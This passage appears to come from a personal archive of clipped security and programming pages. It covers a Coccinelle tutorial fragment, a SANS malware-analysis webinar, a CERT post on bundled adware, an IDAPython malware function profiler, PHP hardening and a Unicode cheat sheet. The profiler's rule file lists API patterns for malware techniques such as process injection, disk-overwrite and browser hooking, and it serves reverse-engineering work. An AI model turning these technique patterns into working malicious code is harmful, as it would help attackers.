a Packet structure which is defined inside a function and which is memset\(\)
afterwards. It does the transformation knowing C and thus you need to think C
when writing the semantic patch.

Now let's go for some explanations. The semantic patch start with the
declaration of the parameters:

> `@rule0@ // name of the rule  
>  identifier p; // this will be replace by the name of a variable  
>  identifier func; // func will be the name of something  
>  typedef uint8_t; // this is a C type we will use  
>  typedef Packet; // same remark  
>  @@  
> `
The main point is that, as coccinelle is using variable you must give in the
information about what is a variable for you \(usage of identifier\) but you
also need to specify what word are specific to the code \(usage of typedef in
the example\).  
The rest is straightforward if we omit an astuce I will detail:

> `func(...) { // the modification occurs in any function  
>  <... // there is some code (...) who can occur more than once (<)  
>  Packet p; // a variable is a Packet, we named it p  
>  ... // some code  
>  - memset(&p, 0, ...); // a memset is done on p, we remove it (-)  
>  + memset(&p, 0, SIZE_OF_PACKET); // and replace it  
>  + p.pkt = (uint8_t *)(p + 1); // by this two lines (+)  
>  ...> // the part of the code occuring more than once end here  
>  }  
> `
My complete semantic patch for the suricata modification is around 55 lines
and the resulting patch on suricata has the following git stat:

> `30 files changed, 3868 insertions(+), 2745 deletions(-)`
and a size of 407Ko. This gives an idea of the power of coccinelle.

Here's a light example of what _coccinelle_ is able to do. If you want to read
further just go on coccinelle website or read my "coccinelle for the newbie"
page.

I like to thanks Holger Eitzenberger for talking me about the existence of
coccinelle and I give out a great thanks at Julia Lawall for her expertise and
her patience. She helps me a lot during my discovery of _coccinelle_.

Tags: Développement, Logiciels Libres, Technologie

# How to Run Linux Malware Analysis Apps as Docker Containers - SANS Institute

**Created:**| _12/24/2014 4:23:04 PM_  
---|---  
**Updated:**| _12/24/2014 4:23:04 PM_  
**Author:**| __  
**Tags:**| _bookmark Malware-analysis_  
  

# How to Run Linux Malware Analysis Apps as Docker Containers

  * Monday, January 05 at 1:00 PM EST \(18:00:00 UTC\) 
  * Lenny Zeltser

###### You can now attend the webinar using your mobile device\!

#### Overview

There are wonderful malware analysis applications out there that run well on
Linux; however, installing and configuring them could quit challenging. A
relatively new approach using such tools involves running them as application
containers. In this scenario, the application is packaged together with its
dependencies as a Docker image, so you don't have to worry about setup or
runtime problems can occur when running the apps in a traditional manner.

In this informative webcast Lenny Zeltser, the lead author of SANS' malware
analysis course, explains how you can use malware analysis tools that are
already distributed as Docker images as part of the REMnux project. These
tools include Thug, Viper, Rekall, JSDetox, and others. Lenny also offers tips
for packaging your favorite apps in a similar manner. He covers the following
topics:

  * What is Docker and how it is different from virtualization technologies?
  * What malware analysis applications are available as Docker images?
  * How can you launch and interact with malware analysis apps running as containers?
  * How can you build Docker application images of your favorite applications?
  * What are the security implications of running applications as containers?

Tune into this webcast to start learning about Docker containers, so you can
not only use them when examining malicious software, but also so you better
understand what application containers are and what role they might play
alongside other infrastructure technologies.

#### Speaker Bio

Lenny Zeltser

Lenny Zeltser is a seasoned business leader with extensive experience in
information technology and security. As a product management director at NCR
Corporation, he focuses on safeguarding IT infrastructure of small and mid-
size businesses world-wide. Before NCR, Lenny led the enterprise security
consulting practice at a major IT hosting provider. He also teaches digital
forensics and malware courses for the SANS Institute, where he is a senior
faculty member. In addition, Lenny is a Board of Directors member at SANS
Technology Institute and a volunteer incident handler at the Internet Storm
Center.

Lenny's expertise is strongest at the intersection of business, technology,
and information security practices and includes incident response, cloud
services, and product management. He frequently speaks at conferences, writes
articles, and has co-authored books on network security and malicious software
defenses. Lenny is one of the few individuals in the world who've earned the
prestigious GIAC Security Expert designation. He has an MBA degree from MIT
Sloan and a Computer Science degree from the University of Pennsylvania.

You can learn more about Lenny's projects on his personal website and blog.

Need Help? Visit our FAQ page or email webcast-support@sans.org.

# Bundled Software and Attack Surface | certcc
**Created:**| _7/8/2014 11:09:59 AM_  
---|---  
**Updated:**| _7/8/2014 11:09:59 AM_  
**Author:**| __  
**Tags:**| _windows security policies opinion_  
  

# Bundled Software and Attack Surface

By Will Dormann on 07/07/2014 | Permalink
Hi, it's Will. We are all probably annoyed by software that bundles other
applications that we didn't ask for. You want a specific application, but
depending on what the application is, where you downloaded it from, and how
carefully you paid attention to the installation process, you could have some
extra goodies that came along for the ride. You might have components referred
to as adware, foistware, scareware, potentially unwanted programs \(PUPs\), or
worse. Sure, these may be annoyances, but there's an even more important
security aspect to these types of applications: attack surface.

Recently I was working in a virtual machine, and I needed to extract an
archive. 7-Zip seemed like a reasonable choice, so I used the default search
engine in the default browser in the virtual machine:

<img src='img/Temp2_1202.png' alt='bing-7zip3.png' />

I encountered quite the minefield, and I hadn't even gotten to the point of
downloading anything yet\! It's not that any of the sites outlined in red are
necessarily malicious, but rather, if 7-zip is installed from any of those
sites, I will likely end up with additional unwanted software. This got me
wondering about what sort of software other folks might be downloading.

There are sites that are known for bundling installers for the purpose of
generating advertising revenue, such as Download.com, Softonic.com, or
Winstally.com. Let's look at a single download from one of the many sites
where you can download software, in particular, KMPlayer from CNET
Download.com. I chose this application from the list of popular downloads that
Download.com provides. In any given week, this application is downloaded
approximately half a million times.

A simple thing to do with a file that you're curious about is to upload it to
virustotal.com. The results of the KMPlayer installer from Download.com are
interesting. As of the publication of this blog entry, four different AV
products detect that the Download.com installer for KMPlayer contains
potentially unwanted software.

As it turns out, the behavior of the Download.com installer wrapper has been
known for years. The Electronic Frontier Foundation \(EFF\) wrote about it in
2011. Several other sources have discussed Download.com installer issues as
well. It's pretty clear that installing software from Download.com and other
similar sources may result in unwanted software being installed with the
software you wanted. But what are the security aspects of such bundling?

For now let's ignore the specific behaviors of the bundled software and just
consider the fact that you have more software on your system. Generally
speaking, the more software you have on your system, the larger your attack
surface. And the larger the attack surface, the higher the risk.

Let's say that we don't have one of the 4 AV products that would warn us when
we attempt to run the Download.com installer for KMPlayer, so we proceed with
installation. We are first presented with a dialog stating that the download
is secure and has been ensured to be virus and spyware free, which is good to
know.

<img src='img/Temp2_1203.png' alt='km1.png' />

As soon as we click into the installer, we are presented with the first
advertising-supported offer:

<img src='img/Temp2_1201.png' alt='km_clickhere2.png' />

The nature of this dialog is deceptive, presumably with the intention of
convincing more people to install additional software. First, the green "Next
Step" button in the previous step has been replaced with an "Accept" button.
So if the user has not moved the mouse and simply clicks through to the next
step, the extra bundled software will be installed. Second, the "Decline"
button appears to be disabled and the user may believe that clicking it may
cancel the entire installation process. What the button actually does is opt
out of installing additional unnecessary software.

If we're not careful, we'll end up with software called "Search Protect,"
which installs a service that runs with SYSTEM privileges and also spawns two
separate processes that run with the privileges of the currently logged-on
user. If we continue with the installation, there are two more offers in the
Download.com wrapper installer. The offers seem to be somewhat dynamic, but
I've seen things like PassShow, RRSavings, and AtuZi. These sorts of programs
hook into your browser, exposing a larger attack surface, and potentially
making the system less secure. Once we get through the Download.com wrapper
installer, we finally get to the KMPlayer installer itself:

<img src='img/Temp2_1199.png' alt='km8.png' />

Great. Now we can install the software we actually wanted in the first place.
But wait, there's more\!

<img src='img/Temp2_1200.png' alt='km5_default2.png' />

The default installation may include AVG Secure Search software. Despite the
software claiming to provide "an additional security layer while searching and
surfing," its installation means more code on your system and therefore
another thing that attackers might target. The download also provides a web
browser toolbar, installs an ActiveX control that bypasses the Internet
Explorer Protected Mode sandbox as well as the ActiveX Opt-in feature
introduced with IE7, and it changes the browser's homepage.

Given that CERT has an awesome ActiveX testing tool called Dranzer, I figured
that I would take a quick look at this particular control. As it turns out,
this one ActiveX control, called ScriptHelper, exposes a number of dangerous
methods for anybody on the internet to abuse \(CERT VU\#960193\). This is a
perfect example of more software putting you at increased risk.

So now, since we might not want the AVG Secure Search software and we
definitely don't want the ActiveX control, we choose custom installation:

<img src='img/Temp2_1197.png' alt='km5a_custom2.png' />

Just when we think we're past additional software, there's even more:

<img src='img/Temp2_1198.png' alt='km6a_custom2.png' />

Here we can uncheck the box to let the installer know that we don't care about
helping the world or else we'll get more unwanted code on our system.

Finally, we're done installing the software. Time to celebrate\! We'll fire up
our web browser to look at the newest kitten photos. If we did **not** go
through the extra steps of deselecting the bundled software, we'll start
getting browser pop-ups like this:

<img src='img/Temp2_1196.png' alt='ie2a.png' />

The version of Internet Explorer in the virtual machine I used for testing was
horribly out of date, so I clicked away to get the update. Look at the
VirusTotal report for this download. This one looks even scarier than the
last. Every new application loaded onto the system comes bundled with even
more unwanted software. At this point, between the pop-ups, the runaway CPU
usage, and application crashes, the virtual machine was nearly unusable.

This all started from a single application installed from Download.com. The
other advertising-supported recommendations from my original search engine
query also put the system in a similar state in the end: slow, bloated, and
having an increased attack surface.

**Conclusion**

Free software isn't always free. Just because you're not paying money out of
your wallet doesn't mean that there isn't an economic transaction occurring
somewhere as the result of installing the software on your computer. Certain
vendors pay money to get their software loaded on to computers. So when you
download a free application that is free only because it is bundled with
adware, consider the security implications of your actions.

A good strategy is to try your best to find the official developer's website
for the software so that you can download it directly. Regardless of the
search engine that you use, be aware of which links in the results are from
advertisers and avoid those. Be aware of sites that are known for bundling
installers for the purpose of generating advertising revenue, such as
Download.com, Softonic.com, or Winstally.com.

If you must use a service known for bundling adware into their installers, pay
careful attention to the installation steps to make sure to opt out of any
additional software choices provided. Even installing applications such as
Oracle Java or Adobe Flash may result in unwanted software, such as browser
toolbars, if you are not careful.

One strategy for helping to stay safer on the internet is to minimize your
attack surface. More software is not the solution, it's the problem.

Topics:  Vulnerability Mitigation

# Hooked on Mnemonics Worked for Me: tsa4ida.py - Rule Based Function Profiler
for IDA

**Created:**| _11/7/2012 6:14:10 PM_  
---|---  
**Updated:**| _11/7/2012 6:14:10 PM_  
**Author:**| __  
**Tags:**| _iDA_  
  

### tsa4ida.py - Rule Based Function Profiler for IDA

Reverse engineering malware is typically a repetitive task that requires a lot
of overhead knowledge. A large part of the knowledge consists of understanding
assembly and APIs. An area that I would like to master is having a complete
understanding of how the assembly language can be converted back to it's
original language. Sadly, I'm in no way near that point. Most experienced
reverse engineers can glance at a function's assembly, APIs, arguments and the
flow path and infer what it does in matter of seconds. Especially for
functionality that is common in malware. This is not even the hard part. The
hard part comes when we have a large functions with no APIs and is just raw
assembly. These function could be crypto algorithms, compression algorithms or
other painful libraries. But then again these functions are where the learning
analysis and fun happen. Once the complicated code is mastered all the other
code is just a walk in the park. In order to understand the complicated code
we need more time for analysis. To free up more time we might as well automate
the knowledge that we have already have. The following is a proof of concept
to help with documenting that knowledge for IDAScope . Dan and I have been
talking about this for months. Even users are starting to call us out on it.
The lag on implementation is my fault. Luckily Hurricane Sandy gave me some
free time for coding by taking me away from my comfortable and easily
distractable apartment.  
  
What is tsa4ida.py? The script is a rule based function profiler of functions.
It uses the Python library ConfigParser to extract user defined rules from a
configuration files, parses the configs to extract the rules and then scans
each function for those rules. If a function is matched the user will have the
option to rename the function or add a function comment. The rules can be of
two types. The first one is strings and the second is simple regular
expressions.  
  

[code]

    [Cache]
    value1 = FindFirstUrlCacheEntryA
    value2 = FindNextUrlCacheEntryA
    value3 = DeleteUrlCacheEntry
    
    [Inject]
    value1 = OpenProcess
    value2 = WriteProcessMemory
    value3 = CreateRemoteThread
    
    [Imported Function Call]
    regex1 = call\s*(eax|ebx|ecx|edx|esi|edi)
    value = GetProcAddress
    
[/code]

  
The first line contains our rule between brackets "\[ RULE \]". It should be
noted if we were to rename the function in IDA we will need to remove all
blank lines and non-standard chars. The next contains a variable that contains
our search string. Each variable name will need to be unique. Quotes are not
needed. Each value in the rule set will be used to search the instructions of
a function. In the example above if a function contains the strings
"FindFirstUrlCacheEntryA","FindNextUrlCacheEntryA" and "DeleteUrlCacheEntry"
it will be labeled or renamed to "Cache". The same syntax applies to the
"inject" rule. The brackets dictate a new rule. The third rule "Import
Function Call" contains a simple regular expression that searches for a
dynamic instruction call such as "call eax" and for the string
"GetProcAddress". If the regex and the string is found the function will be
renamed or labeled "Imported Function Call". The string "regex" must be in the
name of the variable to define the user of a regex. As of this time it is
recommended to keep rules simple. My original intention was to use Yara for
doing the rule parsing and scanning but I was unable to configure IDA and/or
Yara to import Yara from IDAPython.  
  
In order to call tsa4ida we will need to have the rule file located in the
working directory of the script. Then we will call the script using IDA.  
  

<img src='img/Temp2_3969.png' />

  
Once the script runs we will see any hits on our rules.  
  

<img src='img/Temp2_3968.png' />

  
The code and samples rules for tsa4ida.py can be found on BitBucket . I will
be making rules specifically for banking malware over the next couple of
weeks. Please make sure to check out the repo every now and then. If you would
like to add rules please email me \(address is in the source code\). Please
leave any thought or suggestions in the comments or feel free to email me or
contact me on twitter .  
  
Code  

[code]

    ####################################################
    ## tsa4ida.py - rule based function profiler
    ## Created by alexanderhanelgmailcom
    ## Version 1.0 - Thanks to PNX, Kernel Sanders and CB. 
    ## To do 
    ## Use Yara to replace ConfigParer
    ##     [status] - Yara can not sucessefully be imported via IDAPython
    ####################################################
    
    import ConfigParser
    import idautils
    import idc
    import os
    import re
    
    class Profiler():    
        def __init__(self, config_filename=None):
            self.config_filename = "sigs.ini"
            if config_filename:
                self.config_filename = config_filename
            self.script_file_path = \
                os.path.realpath(__file__)[:os.path.realpath(__file__).rfind(os.sep) + 1]
            self.error = False
            self.function_eas = []
            self.getFunctions()
            self.parser = ConfigParser.SafeConfigParser()
            self.comment = False
            self.rename = False
            self.parseConfig()
    
        def getFunctions(self):
            'get a lit of function addresses'
            for func in idautils.Functions():
                # Ignore Library Code
                flags = GetFunctionFlags(func)
                if flags & FUNC_LIB:
                    continue
                self.function_eas.append(func)
    
        def getInstructions(self, function):
            'get all instruction in a function'
            buff = ''
            for x in idautils.FuncItems(function):
                buff = buff + idc.GetDisasm(x) + '\n'
            return buff
    
        def addToFunction(self, address, comment):
            'add comment to function or rename function'
            if self.rename == True:
                if comment not in idc.GetFunctionName(address):
                    idc.MakeNameEx(address, str(comment) + str('_') + idc.GetFunctionName(address), idc.SN_NOWARN)
            if self.comment == True:
                curCmt = idc.GetFunctionCmt(address,1)
                if comment not in curCmt:
                    comment = comment + ' ' + curCmt
                    idc.SetFunctionCmt(address, comment, 1)
            return
    
        def parseConfig(self):
            'parse the the configs file'
            try:
                with open(self.script_file_path + os.sep + self.config_filename) as f: pass
            except IOError as e:
                print 'Error: Could not find sigs.ini'
                self.error = True
                return 
            if not os.path.isfile(self.script_file_path + os.sep + self.config_filename):
                print 'Error: Could not find sigs.ini'
                self.error = True
                return
            try:
                self.parser.read(self.script_file_path + os.sep + self.config_filename)
            except ConfigParser.ParsingError, err:
                print 'Error: Could not parse %s', err
                self.error = True
                return
    
        def getRuleNames(self):
            'gets name of all the rules in the config'  
            rules = []
            for rule in self.parser.sections():
                rules.append(rule)
            return rules
    
        def checkValues(self, buffer, section_name): 
            'run rules against instruction buffer'
            is_value_present = False
            values = []
            regexs = []
            # Get values from the rules
            for x, value in self.parser.items(section_name):
                if 'regex' in x:
                    regexs.append(value)
                else:
                    values.append(value)
            # check if values are in the instruction buffer
            for item in values:
                if item in buffer:   
                    is_value_present = True
                else:
                    return False
                if not item in values:
                    return False
            # We can return because there are no regexs 
            if len(regexs) == 0:
                return True
            for item in regexs:
                try:
                    regex = re.compile(item,re.S)
                except Exception:
                    print "Error: Invalid Regular Expression Pattern"
                    continue 
                test =  re.search(regex, buffer) 
                if re.search(regex, buffer) == None:
                    return False    
            return True
    
        def run(self):
            'showtime..'
            if self.error is True:
                return
            print '_Status: Started'
            # loop through each function
            for function_addr in self.function_eas:
                instBuffer = self.getInstructions(function_addr)
                # loop through each rule
                for section_name in self.parser.sections():
                    status = self.checkValues(instBuffer, section_name)
                    if status == True:
                        self.addToFunction(function_addr, section_name)
                        print "Rule:", section_name, "found at", hex(function_addr)
            print '_Status: Completed'
            return
    
    if __name__ == '__main__':
        profiler = Profiler()
        profiler.comment = True
        profiler.rename = False
        profiler.run()
    
[/code]

  
Rules  
  

[code]

    [Imported Function Call]
    regex1 = call\s*(eax|ebx|ecx|edx|esi|edi)
    value = GetProcAddress
    
    [Cache]
    value1 = FindFirstUrlCacheEntryA
    value2 = FindNextUrlCacheEntryA
    value3 = DeleteUrlCacheEntry
    
    [Inject]
    value1 = OpenProcess
    value2 = WriteProcessMemory
    value3 = CreateRemoteThread
    
    [Adjust Privileges]
    value1 = SeShutdownPrivilege
    value2 = LookupPrivilegeValue
    value3 = AdjustTokenPrivileges
    
    [Windows File Protection Related]
    value1 = sfc_os.dll
    value2 = LoadLibrary
    
    [Restart Machine]
    value1 = SeShutdownPrivilege
    value2 = LookupPrivilegeValue
    value3 = AdjustTokenPrivileges
    value4 = ExitWindows
    
    [Enumerate Processes]
    value1 = CreateToolhelp32Snapshot
    value2 = Process32First
    
    [Firefox Hook APIs]
    value1 = nspr4.dll
    value2 = PR_Write
    value3 = PR_Read
    value4 = PR_Close
    
    [Get Firefox APIs]
    value1 = PR_OpenTCPSocket
    value2 = PR_Close
    value3 = PR_Read
    value4 = PR_Write
    value5 = GetProcAddress
    
    [Search for File]
    value1 = FindFirstFileA
    value2 = FindClose
    
    [Check if installed]
    value1 = 1F0001h
    value2 = OpenMutexA
    value3 = ExitProcess
    
    [Kill Machine]
    value1 = \\\\.\\PHYSICALDRIVE0
    value2 = CreateFile
    value3 = WriteFile
    
    
    [Delete Restore Point API]
    value1 = SrClient.dll
    value2 = SRRemoveRestorePoint    
    
    [Disable Restore Point Registry]
    value = DisableSR
    
[/code]

<img src='img/Temp2_3970.png' width='18' height='18' />

####

# PHP Configuration Hardening | SektionEins GmbH
**Created:**| _8/24/2014 8:35:57 PM_  
---|---  
**Updated:**| _8/25/2014 9:44:45 AM_  
**Author:**| __  
**Tags:**| _php hardending_  
  

# PHP Configuration Hardening

* * *
  

## Background

Among the most tedious tasks of PHP security testing is the check for insecure
PHP configuration. As a successor of our PHP Security Poster, we have created
a script to help system administrators as well as security professionals to
assess the state of php.ini and related topics as quickly and as thoroughly as
possible. For later reference, the script is called "PHP Secure Configuration
Checker" , or _pcc_.

## Inspiration and previous work

  * phpinfo\(\): Just like phpinfo\(\) the _pcc_ is supposed to give a brief overview of security related configuration issues.
  * phpsecinfo: This is an alternative project that appears to have been discontinued in 2007.
  * SektionEins PHP Security Poster \(2009-2011\): Some text snippets and recommendations of our own work we put into the popular poster have been reused.

## Ideas, Features and Software Design

  * One single file for easy distribution: In respect to an update process and access restrictions, a single file can be handled easier than a whole web application monster.
  * Simple tests for each security related ini entry: Testing php.ini on a live system is the main aspect of this project. Each entry is supposed to be checked or otherwise actively ignored.
  * A few other tests: _pcc_ is not restricted to php.ini checks. Other ideas can be implemented as well.
  * Compatibility: PHP 5.4 is supposed to work. Older PHP versions are not supposed to be used in the wild anyway.
  * NO complicated/overengineered code, e.g. no classes/interfaces, test-frameworks, libraries, ...: In most cases, a recommendation is based on a simple boolean decision, e.g. is it 1 or is it 0. The corresponding code is supposed to reflect this simplicity. Also, simple code leads to fewer programming errors.
  * Novice factor: The result is supposed to help secure the PHP environment. There is no need to obfuscate, encrypt or hide the code. Even unexperienced developers or system administrators may take a glance at the code - free of charge.
  * NO \(or very few\) dependencies: _pcc_ is supposed to run in the most simplistic \(yet still realistically sane\) PHP environment. Writing files and loading bloated library code should be avoided.
  * Safeguards: In order to prevent information disclosure, IP restrictions are implemented, as well as a lock-out mechanism based on the script's modification time.
  * Suhosin: _pcc_ checks the correct configuration of the Suhosin extension.

## Download

The first \(but comprehensive\) development version can be downloaded from
github: https://github.com/sektioneins/pcc

Please don't hesitate to use the issue tracker for ideas and bug reports.

## Screenshot

The HTML output lists all recommendations in color codes ordered by severity.
A status line on top of the list shows the number of issues.

<img src='img/Temp2_6011.png' alt='/images/pcc-screenshot.png' />

_bf_

# Cheat Sheet for Unicode Enabling Microsoft C and C++ Source Code and
Programs

**Created:**| _1/18/2011 6:27:49 PM_  
---|---  
**Updated:**| _1/18/2011 6:28:12 PM_  
**Author:**| __  
**Tags:**| _C++ Microsoft programming_  
  

# Cheat Sheet:  
Unicode-enabling Microsoft C/C++ Source Code

### Contents

Initial Steps  
I/O, Database  
Stream I/O  
BOM Values  
Constants & Globals  
Data Types  
Platform String API  
TCHAR String API  
References

Here is a cheat sheet for converting Microsoft C or C++ source code to support
Unicode. It does not attempt to explain much and presumes you are generally
familiar with Microsoft's approach to Unicode. The goal is just to have a
single place to look for names, correct spellings, etc. of relevant data
types, functions, etc.  
  
Also see:  _Cheat Sheet: Unicode-enabling Microsoft C/C++ Source Code
inChinese_

I18nGuy Home Page XenCraft \(Unicode Consulting\)

### Initial Steps for Unicode-enabling Microsoft C/C++ Source

  * Define \_UNICODE, undefine \_MBCS if defined.
  * Convert literal strings to use L or \_T
  * Convert string functions to use Wide or TCHAR versions.
  * Clarify string lengths in API as byte or character counts. For character-based display or printing \(as opposed to GUI which is pixel-based\) use column counts, not byte or character.
  * Replace character pointer arithmetic with GetNext style, as characters may consist of more than one Unicode code unit.
  * Watch buffer size and buffer overflows- changing encodings may require either larger buffers or limiting string lengths. If character size changes from 1 byte to as many as 4 bytes, and string length was formerly 20 characters and 20 bytes, either expand the string buffer\(s\) from 20 to 80 bytes or limit the string to 5 characters \(and therefore 20 bytes\). Note maximum buffer expansion may be constrained \(for example to 65 KB\). Reducing string length to a fixed number of characters may break existing applications. Limiting strings to a fixed byte length is dangerous. For example, allowing any string that fits into 20 bytes. Simple operations such as uppercasing a string may cause it to grow and exceed the byte length.
  * Replace functions that accept or return arguments of a single character, with functions that use strings instead. \(International\) Operations on a single character may result in more than one code point being returned. For example, upper\('ß'\) returns "SS".
  * Use wmain instead of main. The environment variable is then \_wenviron instead of \_environ.   
wmain\( int argc, wchar\_t \*argv\[ \], wchar\_t \*envp\[ \] \).

  * MFC Unicode applications use wWinMain as the entry point.   
In the Output page of the Linker folder in the project's Property Pages dialog
box, set the Entry Point symbol towWinMainCRTStartup.

  * Consider fonts. Identify the fonts that will render each language or script used.

Top of page

### File I/O, Database, Transfer Protocol Considerations

  * Consider whether to read/write UTF-8 or UTF-16 in files, databases, and for data exchange.
  * Consider Endian-ness in UTF-16 files.   
Read/Write Big-Endian on networks. Use Big-Endian if you don't produce a BOM.  
Endian-ness of files will depend on the file format and/or the architecture of
the source or target machine.  
When reading files encoded in UTF-16 or UTF-32, be prepared to swap-bytes to
convert endian-ness.  
Also consider streams and transfer protocols and the encoding used in each.

  * Label files or protocols for data exchange with the correct character encoding. E.g. set HTTP, HTML, XML to UTF-8 or UTF-16.
  * Consider Unicode BOM \(Byte Order Marker\) and whether it should be written with data. Remove it when reading data.
  * Consider encoding conversion of legacy data and files, import and export, transfer protocols. \(MultiByteToWideChar,WideCharToMultiByte, mbtowc, wctomb, wctombs, mbstowcs \)
  * Consider writing to the Clipboard-   
use CF\_TEXT format and write native character encoding \(ANSI\) text, and  
use CF\_UNICODETEXT format and write Unicode text.

  * Database applications should consider Data Type \(NCHAR, NVARCHAR\) and Schema Changes, Triggers, Stored Procedures, and Queries. Data Storage growth, Indexes and Performance.   
Note that the Unicode schema changes will have different impacts and concerns
on different vendors' databases. If database portability is a requirement, the
features and behaviors of each database need to be taken into account.  
_\(I know this item is seriously understated. To be expanded sometime in the
future.\)_

Top of page

### Stream I/O

Streams are difficult in Microsoft C++. You may run into 3 types of problems:

  1. **Unicode filenames are not supported.** The workaround is to use FILE \* \_wfopen and if needed, use the FILE handle in subsequent stream I/O. 
std::ifstream stm\(\_wfopen\(pFilename, L"r"\)\);

  2. **Stream I/O will convert Unicode data from/to native \(ANSI\) code page on read/write, not UTF-8 or UTF-16.** However the stream class can be modified to read/write UTF-8. You can implement a facet to convert between Unicode and UTF-8. 
codecvt <wchar\_t, char\_traits <wchar\_t> >

  3. To read/write UTF-16 with stream I/O, use binary opens and binary I/O. To set binary I/O: 
\_setmode\( \_fileno\( stdin \), \_O\_BINARY \);

  
Also see the Microsoft run-time library reference: "**Unicode Stream I/O in
Text and Binary Modes** ".

**Note:** There aren't TCHAR equivalents for cout/wcout, cin/wcin, etc. You
may want to make your own preprocessor definition for "tout", if you are
compiling code both ways.

Top of page

### Internationalization, Advanced Unicode, Platform and Other Considerations

  * Consider using locale-based routines and further internationalization.
  * For Windows 95, 98 and ME, consider using the Microsoft MSLU \(Microsoft Layer for Unicode\)
  * Consider string compares and sorting, Unicode Collation Algorithm
  * Consider Unicode Normalization
  * Consider Character Folding
  * <img src='img/Temp2_1431.gif' width='189' height='60' alt='XenCraft provides Unicode-enabling services' />Reconsider doing this on your own. Bring in an experienced Unicode consultant, and deploy your existing resources on the tasks they do best. \(Hey, an I18nGuy's gotta earn a living...\)

Top of page

### Unicode BOM Encoding Values

| Encoding Form | BOM Encoding  
---|---  
UTF-8 | EF BB BF  
UTF-16  
\(big-endian\) | FE FF  
UTF-16  
\(little-endian\) | FF FE  
UTF-16BE, UTF-32BE  
\(big-endian\) | No BOM\!  
UTF-16LE, UTF-32LE  
\(little-endian\) | No BOM\!  
UTF-32  
\(big-endian\) | 00 00 FE FF  
UTF-32  
\(little-endian\) | FF FE 00 00  
SCSU  
\(compression\) | 0E FE FF  
The Byte Order Marker \(BOM\) is Unicode character U+FEFF. \(It can also
represent aZero Width No-break Space.\) The code point U+FFFE is illegal in
Unicode, and should never appear in a Unicode character stream. Therefore the
BOM can be used in the first character of a file \(or more generally a
string\), as an indicator of endian-ness. With UTF-16, if the first character
is read as bytes FE FF then the text has the same endian-ness as the machine
reading it. If the character is read as bytes FF FE, then the endian-ness is
reversed and all 16-bit words should be byte-swapped as they are read-in. In
the same way, the BOM indicates the endian-ness of text encoded with UTF-32.
Note that not all files start with a BOM however. In fact, the Unicode
Standard says that text that does not begin with a BOM **MUST** be interpreted
in big-endian form. The character U+FEFF also serves as an encoding signature
for the Unicode Encoding Forms. The table shows the encoding of U+FEFF in each
of the Unicode encoding forms. Note that by definition, text labeled as
UTF-16BE, UTF-32BE, UTF-32LE or UTF-16LE should not have a BOM. The endian-
ness is indicated in the label. For text that is compressed with the SCSU
\(Standard Compression Scheme for Unicode\) algorithm, there is also a
recommended signature.  
Top of page

### Constant and Global Variables

ANSI | Wide | TCHAR  
---|---|---  
EOF | WEOF | \_TEOF  
\_environ | \_wenviron | \_tenviron  
\_pgmptr | \_wpgmptr | \_tpgmptr  
### Data Types

ANSI | Wide | TCHAR  
---|---|---  
char | wchar\_t | \_TCHAR  
\_finddata\_t | \_wfinddata\_t | \_tfinddata\_t  
\_\_finddata64\_t | \_\_wfinddata64\_t | \_tfinddata64\_t  
\_finddatai64\_t | \_wfinddatai64\_t | \_tfinddatai64\_t  
int | wint\_t | \_TINT  
signed char | wchar\_t | \_TSCHAR  
unsigned char | wchar\_t | \_TUCHAR  
char | wchar\_t | \_TXCHAR  
| L | \_T or \_TEXT  
LPSTR  
\(char \*\) | LPWSTR  
\(wchar\_t \*\) | LPTSTR  
\(\_TCHAR \*\)  
LPCSTR  
\(const char \*\) | LPCWSTR  
\(const wchar\_t \*\) | LPCTSTR  
\(const \_TCHAR \*\)  
LPOLESTR  
\(For OLE\) | LPWSTR | LPTSTR  
Top of page

### Platform SDK String Functions

There are many Windows API that compile into ANSI or Wide forms, depending on
whether the symbol UNICODE is defined. Modules that operate on both ANSI and
Wide characters, need to be aware of this. Otherwise, using the Character Data
Type-independent name requires no changes, just compile with the symbol
UNICODE defined.

The following list is by no means all of the Character Data Type-dependent
API, just some character and string related ones. Look in WinNLS.h for some
code page and locale related API.

ANSI | Wide | Character Data Type-  
Independent Name  
---|---|---  
CharLowerA | CharLowerW | CharLower  
CharLowerBuffA | CharLowerBuffW | CharLowerBuff  
CharNextA | CharNextW | CharNext  
CharNextExA | CharNextExW | CharNextEx  
CharPrevA | CharPrevW | CharPrev  
CharPrevExA | CharPrevExW | CharPrevEx  
CharToOemA | CharToOemW | CharToOem  
CharToOemBuffA | CharToOemBuffW | CharToOemBuff  
CharUpperA | CharUpperW | CharUpper  
CharUpperBuffA | CharUpperBuffW | CharUpperBuff  
CompareStringA | CompareStringW | CompareString  
FoldStringA | FoldStringW | FoldString  
GetStringTypeA | GetStringTypeW | GetStringType  
GetStringTypeExA | GetStringTypeExW | GetStringTypeEx  
IsCharAlphaA | IsCharAlphaW | IsCharAlpha  
IsCharAlphaNumericA | IsCharAlphaNumericW | IsCharAlphaNumeric  
IsCharLowerA | IsCharLowerW | IsCharLower  
IsCharUpperA | IsCharUpperW | IsCharUpper  
LoadStringA | LoadStringW | LoadString  
lstrcatA | lstrcatW | lstrcat  
lstrcmpA | lstrcmpW | lstrcmp  
lstrcmpiA | lstrcmpiW | lstrcmpi  
lstrcpyA | lstrcpyW | lstrcpy  
lstrcpynA | lstrcpynW | lstrcpyn  
lstrlenA | lstrlenW | lstrlen  
OemToCharA | OemToCharW | OemToChar  
OemToCharBuffA | OemToCharBuffW | OemToCharBuff  
wsprintfA | wsprintfW | wsprintf  
wvsprintfA | wvsprintfW | wvsprintf  
Top of page

### TCHAR String Functions

Functions sorted by ANSI name, for ease of converting to Unicode.

ANSI | Wide | TCHAR  
---|---|---  
\_access | \_waccess | \_taccess  
\_atoi64 | \_wtoi64 | \_tstoi64  
\_atoi64 | \_wtoi64 | \_ttoi64  
\_cgets | \_cgetws | cgetts  
\_chdir | \_wchdir | \_tchdir  
\_chmod | \_wchmod | \_tchmod  
\_cprintf | \_cwprintf | \_tcprintf  
\_cputs | \_cputws | \_cputts  
\_creat | \_wcreat | \_tcreat  
\_cscanf | \_cwscanf | \_tcscanf  
\_ctime64 | \_wctime64 | \_tctime64  
\_execl | \_wexecl | \_texecl  
\_execle | \_wexecle | \_texecle  
\_execlp | \_wexeclp | \_texeclp  
\_execlpe | \_wexeclpe | \_texeclpe  
\_execv | \_wexecv | \_texecv  
\_execve | \_wexecve | \_texecve  
\_execvp | \_wexecvp | \_texecvp  
\_execvpe | \_wexecvpe | \_texecvpe  
\_fdopen | \_wfdopen | \_tfdopen  
\_fgetchar | \_fgetwchar | \_fgettchar  
\_findfirst | \_wfindfirst | \_tfindfirst  
